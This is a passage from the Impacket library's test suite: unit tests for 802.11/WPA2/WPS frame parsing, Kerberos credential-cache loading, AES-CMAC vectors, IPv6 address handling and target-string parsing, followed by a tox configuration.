self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 19 | 20 | d = Dot11(self.frame_orig) 21 | 22 | type = d.get_type() 23 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 24 | 25 | subtype = d.get_subtype() 26 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 27 | 28 | typesubtype = d.get_type_n_subtype() 29 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 30 | 31 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 32 | 33 | d.contains(self.rts) 34 | 35 | def test_01_HeaderTailSize(self): 36 | 'Test Header and Tail Size field' 37 | self.assertEqual(self.rts.get_header_size(), 14) 38 | self.assertEqual(self.rts.get_tail_size(), 0) 39 | 40 | def test_02_Duration(self): 41 | 'Test Duration field' 42 | 43 | self.assertEqual(self.rts.get_duration(), 0x181) 44 | self.rts.set_duration(0x1234) 45 | self.assertEqual(self.rts.get_duration(), 0x1234) 46 | 47 | def test_03_RA(self): 48 | 'Test RA field' 49 | 50 | ra=self.rts.get_ra() 51 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 52 | ra[0]=0x12 53 | ra[5]=0x34 54 | self.rts.set_ra(ra) 55 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 56 | 57 | def test_04_TA(self): 58 | 'Test TA field' 59 | 60 | ta=self.rts.get_ta() 61 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 62 | ta[0]=0x12 63 | ta[5]=0x34 64 | self.rts.set_ta(ta) 65 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 66 | 67 | 68 | if __name__ == '__main__': 69 | unittest.main(verbosity=1) 70 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame 12 | 13 | 14 | class TestDot11DataFrames(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Data Frame 18 | # 19 | self.frame_orig=b'\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91' 20 | 21 | d = Dot11(self.frame_orig) 22 | 23 | type = d.get_type() 24 | self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA) 25 | 26 | subtype = d.get_subtype() 27 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA) 28 | 29 | typesubtype = d.get_type_n_subtype() 30 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 31 | 32 | self.data = Dot11DataFrame(d.get_body_as_string()) 33 | 34 | d.contains(self.data) 35 | 36 | def test_01_HeaderSize(self): 37 | 'Test Header and Tail Size field' 38 | self.assertEqual(self.data.get_header_size(), 22) 39 | self.assertEqual(self.data.get_tail_size(), 0) 40 | 41 | def test_02_Duration(self): 42 | 'Test Duration field' 43 | 44 | self.assertEqual(self.data.get_duration(), 0x30) 45 | self.data.set_duration(0x1234) 46 | self.assertEqual(self.data.get_duration(), 0x1234) 47 | 48 | def test_03_Address_1(self): 49 | 'Test Address 1 field' 50 | 51 | addr=self.data.get_address1() 52 | 53 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 54 | addr[0]=0x12 55 | addr[5]=0x34 56 | self.data.set_address1(addr) 57 | self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 58 | 59 | def test_04_Address_2(self): 60 | 'Test Address 2 field' 61 | 62 | addr=self.data.get_address2() 63 | 64 | self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 65 | addr[0]=0x12 66 | addr[5]=0x34 67 | self.data.set_address2(addr) 68 | self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 69 | 70 | def test_05_Address_3(self): 71 | 'Test Address 3 field' 72 | 73 | addr=self.data.get_address3() 74 | 75 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 76 | addr[0]=0x12 77 | addr[5]=0x34 78 | self.data.set_address3(addr) 79 | self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 80 | 81 | def test_06_sequence_control(self): 82 | 'Test Sequence control field' 83 | self.assertEqual(self.data.get_sequence_control(), 0x4440) 84 | self.data.set_sequence_control(0x1234) 85 | self.assertEqual(self.data.get_sequence_control(), 0x1234) 86 | 87 | def test_07_fragment_number(self): 88 | 'Test Fragment number field' 89 | self.assertEqual(self.data.get_fragment_number(), 0x0000) 90 | self.data.set_fragment_number(0xF1) # Es de 4 bit 91 | self.assertEqual(self.data.get_fragment_number(), 0x01) 92 | 93 | def test_08_sequence_number(self): 94 | 'Test Sequence number field' 95 | self.assertEqual(self.data.get_sequence_number(), 0x0444) 96 | self.data.set_sequence_number(0xF234) # Es de 12 bit 97 | self.assertEqual(self.data.get_sequence_number(), 0x0234) 98 | 99 | def test_09_frame_data(self): 100 | 'Test Frame Data field' 101 | # Test with packet without addr4 102 | frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" 103 | self.assertEqual(self.data.get_frame_body(), frame_body) 104 | 105 | 106 | if __name__ == '__main__': 107 | unittest.main(verbosity=1) 108 | -------------------------------------------------------------------------------- /tests/dot11/test_WPA2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data 12 | 13 | 14 | class TestDot11WPA2Data(unittest.TestCase): 15 | 16 | def setUp(self): 17 | # 802.11 Data Frame 18 | # 19 | self.frame_orig=b'\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53' 20 | d = Dot11(self.frame_orig) 21 | 22 | self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA) 23 | self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA) 24 | self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 25 | 26 | data = Dot11DataFrame(d.get_body_as_string()) 27 | d.contains(data) 28 | 29 | self.wpa2_header = Dot11WPA2(data.body_string) 30 | data.contains(self.wpa2_header) 31 | 32 | self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string) 33 | self.wpa2_header.contains(self.wpa2_data) 34 | 35 | def test_01_is_WPA2(self): 36 | 'Test WPA2Header is_WPA2 method' 37 | self.assertEqual(self.wpa2_header.is_WPA2(), True) 38 | 39 | def test_03_extIV(self): 40 | 'Test WPA2Header extIV getter and setter methods' 41 | self.assertEqual(self.wpa2_header.get_extIV(), 0x01) 42 | 43 | self.wpa2_header.set_extIV(0x00) # Es de 1 bit 44 | self.assertEqual(self.wpa2_header.get_extIV(), 0x00) 45 | 46 | def test_04_keyid(self): 47 | 'Test WPA2Header keyID getter and setter methods' 48 | self.assertEqual(self.wpa2_header.get_keyid(), 0x00) 49 | 50 | self.wpa2_header.set_keyid(0x03) # Es de 2 bits 51 | self.assertEqual(self.wpa2_header.get_keyid(), 0x03) 52 | 53 | #TODO: Test get_decrypted_data 54 | #def test_05_get_decrypted_data(self): 55 | 56 | def test_06_PNs(self): 57 | 'Test WPA2Data PN0 to PN5 getter and setter methods' 58 | # PN0 59 | self.assertEqual(self.wpa2_header.get_PN0(), 0x1b) 60 | self.wpa2_header.set_PN0(0xAB) 61 | self.assertEqual(self.wpa2_header.get_PN0(), 0xAB) 62 | 63 | # PN1 64 | self.assertEqual(self.wpa2_header.get_PN1(), 0x13) 65 | self.wpa2_header.set_PN1(0xAB) 66 | self.assertEqual(self.wpa2_header.get_PN1(), 0xAB) 67 | 68 | # PN2 69 | self.assertEqual(self.wpa2_header.get_PN2(), 0x00) 70 | self.wpa2_header.set_PN2(0xAB) 71 | self.assertEqual(self.wpa2_header.get_PN2(), 0xAB) 72 | 73 | # PN3 74 | self.assertEqual(self.wpa2_header.get_PN3(), 0x00) 75 | self.wpa2_header.set_PN3(0xAB) 76 | self.assertEqual(self.wpa2_header.get_PN3(), 0xAB) 77 | 78 | # PN4 79 | self.assertEqual(self.wpa2_header.get_PN4(), 0x00) 80 | self.wpa2_header.set_PN4(0xAB) 81 | self.assertEqual(self.wpa2_header.get_PN4(), 0xAB) 82 | 83 | # PN5 84 | self.assertEqual(self.wpa2_header.get_PN5(), 0x00) 85 | self.wpa2_header.set_PN5(0xAB) 86 | self.assertEqual(self.wpa2_header.get_PN5(), 0xAB) 87 | 88 | def test_07_data(self): 89 | 'Test WPA2Data body' 90 | data=b'\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19' 91 | self.assertEqual(self.wpa2_data.body_string, data) 92 | 93 | def test_08_mic(self): 94 | 'Test WPA2Data MIC field' 95 | mic=b'\x0c\xc0\x34\x07\xae\xe7\x77\xaf' 96 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 97 | 98 | mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc' 99 | self.wpa2_data.set_MIC(mic) 100 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 101 | 102 | 103 | if __name__ == '__main__': 104 | unittest.main(verbosity=1) 105 | -------------------------------------------------------------------------------- /tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Tests for helper used to build ProtocolPackets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | # 16 | import unittest 17 | import impacket.helper as h 18 | 19 | 20 | class TestHelpers(unittest.TestCase): 21 | 22 | def test_well_formed(self): 23 | class MockPacket(h.ProtocolPacket): 24 | byte_field = h.Byte(0) 25 | word_field = h.Word(1, ">") 26 | three_bytes_field = h.ThreeBytesBigEndian(3) 27 | long_field = h.Long(6, ">") 28 | aliased_bit_field = h.Bit(0,0) 29 | 30 | header_size = 4 31 | tail_size = 0 32 | 33 | p = MockPacket() 34 | p.byte_field = 1 35 | p.word_field = 2 36 | p.three_bytes_field = 4 37 | p.long_field = 8 38 | 39 | self.assertEqual(1, p.byte_field) 40 | self.assertEqual(2, p.word_field) 41 | self.assertEqual(4, p.three_bytes_field) 42 | self.assertEqual(8, p.long_field) 43 | 44 | self.assertEqual(True, p.aliased_bit_field) 45 | 46 | p.aliased_bit_field = False 47 | 48 | self.assertEqual(0, p.byte_field) 49 | 50 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 51 | 52 | 53 | if __name__ == '__main__': 54 | unittest.main(verbosity=1) 55 | -------------------------------------------------------------------------------- /tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Tests for WPS packets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | # 16 | import unittest 17 | import array 18 | from impacket import wps 19 | 20 | 21 | class TestTLVContainer(unittest.TestCase): 22 | 23 | def testNormalUsageContainer(self): 24 | BUILDERS={ 25 | 1: wps.StringBuilder(), 26 | 2: wps.ByteBuilder(), 27 | 3: wps.NumBuilder(2) 28 | } 29 | tlvc = wps.TLVContainer(builders=BUILDERS) 30 | 31 | KINDS_N_VALUES = ( 32 | (1, b"Sarlanga"), 33 | (2, 1), 34 | (3, 1024), 35 | (4, array.array("B", [1,2,3])) 36 | ) 37 | for k,v in KINDS_N_VALUES: 38 | tlvc.append(k,v) 39 | 40 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 41 | tlvc2.from_ary(tlvc.to_ary()) 42 | 43 | for k,v in KINDS_N_VALUES: 44 | self.assertEqual(v, tlvc2.first(k)) 45 | 46 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 47 | self.assertEqual(b"Sarlanga", tlvc.first(1)) 48 | 49 | 50 | if __name__ == '__main__': 51 | unittest.main(verbosity=1) 52 | -------------------------------------------------------------------------------- /tests/misc/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | -------------------------------------------------------------------------------- /tests/misc/test_ccache.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Kerberos CCACHE unit tests 12 | # 13 | import os 14 | import pytest 15 | import unittest 16 | from six import PY2 17 | if PY2: 18 | mock = None 19 | FileNotFoundError = IOError 20 | else: 21 | from unittest import mock 22 | from impacket.krb5.ccache import CCache, Credential 23 | 24 | 25 | class CCACHETests(unittest.TestCase): 26 | 27 | service = "krbtgt" 28 | domain = "INNOVATION.ROCKS" 29 | username = "user01" 30 | server = "{}/{}@{}".format(service, domain, domain) 31 | 32 | cache_v1_file = "tests/data/ccache-v1" 33 | cache_v2_file = "tests/data/ccache-v2" 34 | cache_v3_file = "tests/data/ccache-v3" 35 | cache_v4_file = "tests/data/ccache-v4" 36 | cache_v3_kirbi_file = "tests/data/ccache-v3-kirbi" 37 | cache_v4_kirbi_file = "tests/data/ccache-v4-kirbi" 38 | 39 | def assert_ccache(self, ccache): 40 | ccache.prettyPrint() 41 | self.assertIsInstance(ccache, CCache) 42 | self.assertEqual(len(ccache.credentials), 1) 43 | for cred in ccache.credentials: 44 | self.assertIsInstance(cred, Credential) 45 | 46 | self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", True)) 47 | self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", False)) 48 | self.assertIsNotNone(ccache.getCredential(self.server, True)) 49 | self.assertIsNotNone(ccache.getCredential(self.server, False)) 50 | 51 | def test_ccache_loadFile(self): 52 | with self.assertRaises(FileNotFoundError): 53 | CCache.loadFile("NON_EXISTENT") 54 | 55 | for cache_file in [self.cache_v1_file, 56 | self.cache_v2_file]: 57 | with self.assertRaises(NotImplementedError): 58 | CCache.loadFile(cache_file) 59 | 60 | for cache_file in [self.cache_v3_file, 61 | self.cache_v4_file]: 62 | ccache = CCache.loadFile(cache_file) 63 | self.assert_ccache(ccache) 64 | 65 | def test_ccache_fromKirbi(self): 66 | with self.assertRaises(FileNotFoundError): 67 | CCache.loadKirbiFile("NON_EXISTENT") 68 | 69 | for kirbi_file in [self.cache_v3_kirbi_file, 70 | self.cache_v4_kirbi_file]: 71 | ccache = CCache.loadKirbiFile(kirbi_file) 72 | self.assert_ccache(ccache) 73 | 74 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 75 | def test_ccache_parseFile_no_cache(self): 76 | if not PY2: 77 | with mock.patch.dict(os.environ, {}, clear=True): 78 | domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username) 79 | self.assertEqual(domain, self.domain) 80 | self.assertEqual(username, self.username) 81 | self.assertIsNone(TGT) 82 | self.assertIsNone(TGS) 83 | 84 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 85 | def test_ccache_parseFile_unexistent(self): 86 | if not PY2: 87 | with mock.patch.dict(os.environ, {"KRB5CCNAME": "ccache-unexistent-file"}): 88 | with self.assertRaises(FileNotFoundError): 89 | CCache.parseFile(self.domain, self.username) 90 | 91 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 92 | def test_ccache_parseFile(self): 93 | if not PY2: 94 | with mock.patch.dict(os.environ, {"KRB5CCNAME": self.cache_v4_file}): 95 | domain, username, TGT, TGS = CCache.parseFile("") 96 | self.assertEqual(domain, self.domain) 97 | self.assertEqual(username, self.username) 98 | self.assertIsNone(TGS) 99 | self.assertIsNotNone(TGT) 100 | 101 | domain, username, TGT, TGS = CCache.parseFile("unexistent_domain") 102 | self.assertIsNone(TGS) 103 | self.assertIsNone(TGT) 104 | 105 | domain, username, TGT, TGS = CCache.parseFile(self.domain) 106 | self.assertEqual(domain, self.domain) 107 | self.assertEqual(username, self.username) 108 | self.assertIsNone(TGS) 109 | self.assertIsNotNone(TGT) 110 | 111 | domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username) 112 | self.assertEqual(domain, self.domain) 113 | self.assertEqual(username, self.username) 114 | self.assertIsNone(TGS) 115 | self.assertIsNotNone(TGT) 116 | 117 | 118 | if __name__ == "__main__": 119 | unittest.main(verbosity=1) 120 | -------------------------------------------------------------------------------- /tests/misc/test_crypto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | from __future__ import print_function, division 11 | import unittest 12 | from binascii import hexlify, unhexlify 13 | 14 | from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128 15 | 16 | 17 | def by8(s): 18 | return [s[i:i + 8] for i in range(0, len(s), 8)] 19 | 20 | 21 | def hex8(b): 22 | return ' '.join(by8(hexlify(b).decode('ascii'))) 23 | 24 | 25 | def pp(prev, s): 26 | print(prev, end=' ') 27 | for c in by8(s): 28 | print(c, end=' ') 29 | # for i in range((len(s)//8)): 30 | # print("%s" % (s[:8]), end = ' ') 31 | # s = s[8:] 32 | print() 33 | return '' 34 | 35 | 36 | class CryptoTests(unittest.TestCase): 37 | def test_subkey(self): 38 | K = "2b7e151628aed2a6abf7158809cf4f3c" 39 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" # noqa 40 | 41 | K1, K2 = Generate_Subkey(unhexlify(K)) 42 | self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de') 43 | self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b') 44 | 45 | def test_AES_CMAC(self): 46 | K = "2b7e151628aed2a6abf7158809cf4f3c" 47 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 48 | # Example 1: len = 0 49 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)), 50 | 'bb1d6929 e9593728 7fa37d12 9b756746') 51 | # Example 2: len = 16 52 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)), 53 | '070a16b4 6b4d4144 f79bdd9d d04a287c') 54 | # Example 3: len = 40 55 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)), 56 | 'dfa66747 de9ae630 30ca3261 1497c827') 57 | # Example 3: len = 64 58 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)), 59 | '51f0bebf 7e3b9d92 fc497417 79363cfe') 60 | M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" 61 | K = "6c3473624099e17ff3a39ff6bdf6cc38" 62 | # Mac = dbf63fd93c4296609e2d66bf79251cb5 63 | # Example 4: len = 45 64 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)), 65 | 'dbf63fd9 3c429660 9e2d66bf 79251cb5') 66 | 67 | def test_AES_CMAC_PRF_128(self): 68 | K = "000102030405060708090a0b0c0d0e0fedcb" 69 | M = "000102030405060708090a0b0c0d0e0f10111213" 70 | 71 | # AES-CMAC-PRF-128 Test Vectors 72 | # Example 1: len = 0, Key Length 18 73 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))), 74 | '84a348a4 a45d235b abfffc0d 2b4da09a') 75 | # Example 1: len = 0, Key Length 16 76 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))), 77 | '980ae87b 5f4c9c52 14f5b6a8 455e4c2d') 78 | # Example 1: len = 0, Key Length 10 79 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))), 80 | '290d9e11 2edb09ee 141fcf64 c0b72f3d') 81 | 82 | 83 | if __name__ == "__main__": 84 | unittest.main(verbosity=1) 85 | -------------------------------------------------------------------------------- /tests/misc/test_ip6_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import six 11 | import unittest 12 | from binascii import hexlify 13 | from impacket.IP6_Address import IP6_Address 14 | 15 | 16 | def hexl(b): 17 | return hexlify(b).decode('ascii') 18 | 19 | 20 | class IP6AddressTests(unittest.TestCase): 21 | def test_bin(self): 22 | tests = (("A:B:C:D:E:F:1:2", '000a000b000c000d000e000f00010002', 23 | "A:B:C:D:E:F:1:2"), 24 | ("A:B:0:D:E:F:0:2", '000a000b0000000d000e000f00000002', 25 | "A:B::D:E:F:0:2"), 26 | ("A::BC:E:D", '000a000000000000000000bc000e000d', 27 | "A::BC:E:D"), 28 | ("A::BCD:EFFF:D", '000a00000000000000000bcdefff000d', 29 | "A::BCD:EFFF:D"), 30 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 31 | 'fe80000000000000020c29fffe26e251', 32 | "FE80::20C:29FF:FE26:E251"), 33 | ("::", '00000000000000000000000000000000', 34 | "::"), 35 | ("1::", '00010000000000000000000000000000', 36 | "1::"), 37 | ("::2", '00000000000000000000000000000002', 38 | "::2"), 39 | ) 40 | # print IP6_Address("A::BC:E:D").as_string(False) 41 | for torig, thex, texp in tests: 42 | ip = IP6_Address(torig) 43 | byt = ip.as_bytes() 44 | self.assertEqual(hexl(byt), thex) 45 | self.assertEqual(ip.as_string(), texp) 46 | 47 | def test_malformed(self): 48 | with six.assertRaisesRegex(self, Exception, r'address size'): 49 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") 50 | with six.assertRaisesRegex(self, Exception, r'triple colon'): 51 | IP6_Address(":::") 52 | with six.assertRaisesRegex(self, Exception, r'triple colon'): 53 | IP6_Address("::::") 54 | # Could also test other invalid inputs 55 | # IP6_Address("AB:CD:EF") 56 | # IP6_Address("12::34::56") 57 | # IP6_Address("00BCDE::") 58 | # IP6_Address("DEFG::") 59 | # and how about these... 60 | # IP6_Address("A::0XBC:D") 61 | # IP6_Address("B:-123::") 62 | # IP6_Address("B:56 ::-0xE") 63 | 64 | 65 | if __name__ == '__main__': 66 | unittest.main(verbosity=1) 67 | -------------------------------------------------------------------------------- /tests/misc/test_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Utility and helper functions for the example scripts 12 | # 13 | import unittest 14 | from impacket.examples.utils import parse_target, parse_credentials 15 | 16 | 17 | class UtilsTests(unittest.TestCase): 18 | 19 | def test_parse_target(self): 20 | # Parse target returns a tuple with: domain, username, password, remote_name/address 21 | targets = { 22 | "": ("", "", "", ""), 23 | "HostName": ("", "", "", "HostName"), 24 | "UserName@HostName": ("", "UserName", "", "HostName"), 25 | "UserName:Password@HostName": ("", "UserName", "Password", "HostName"), 26 | "UserName:Pa$$word1234@HostName": ("", "UserName", "Pa$$word1234", "HostName"), 27 | "UserName:Password!#$@HostName": ("", "UserName", "Password!#$", "HostName"), 28 | "UserName:Passw@rd!#$@HostName": ("", "UserName", "Passw@rd!#$", "HostName"), 29 | "UserName:P@ssw@rd@!#$@HostName": ("", "UserName", "P@ssw@rd@!#$", "HostName"), 30 | "DOMAIN/UserName@HostName": ("DOMAIN", "UserName", "", "HostName"), 31 | "DOMAIN/:Password@HostName": ("DOMAIN", "", "Password", "HostName"), 32 | "DOMAIN/UserName:Password@HostName": ("DOMAIN", "UserName", "Password", "HostName"), 33 | "DOMAIN/UserName:Password/123@HostName": ("DOMAIN", "UserName", "Password/123", "HostName"), 34 | } 35 | 36 | for target, result in targets.items(): 37 | self.assertTupleEqual(parse_target(target), result) 38 | 39 | def test_parse_credentials(self): 40 | # Parse credentials returns a tuple with: domain, username, password 41 | creds = { 42 | "": ("", "", ""), 43 | "UserName": ("", "UserName", ""), 44 | "UserName:Password": ("", "UserName", "Password"), 45 | "UserName:Password:123": ("", "UserName", "Password:123"), 46 | "DOMAIN/UserName": ("DOMAIN", "UserName", ""), 47 | "DOMAIN/UserName:Password": ("DOMAIN", "UserName", "Password"), 48 | "DOMAIN/UserName:Password/123": ("DOMAIN", "UserName", "Password/123"), 49 | } 50 | 51 | for cred, result in creds.items(): 52 | self.assertTupleEqual(parse_credentials(cred), result) 53 | 54 | 55 | if __name__ == "__main__": 56 | unittest.main(verbosity=1) 57 | -------------------------------------------------------------------------------- /tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print(e) 15 | pass 16 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini, put in same dir as setup.py 2 | [tox] 3 | envlist = clean,py{36,37,38,39,310},report 4 | 5 | [gh-actions] 6 | python = 7 | 3.6: py36 8 | 3.7: py37 9 | 3.8: py38 10 | 3.9: py39 11 | 3.10: py310 12 | 13 | [testenv] 14 | deps = -r requirements-test.txt 15 | passenv = REMOTE_CONFIG 16 | commands = 17 | {envpython} -m pip check 18 | pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs} 19 | depends = 20 | 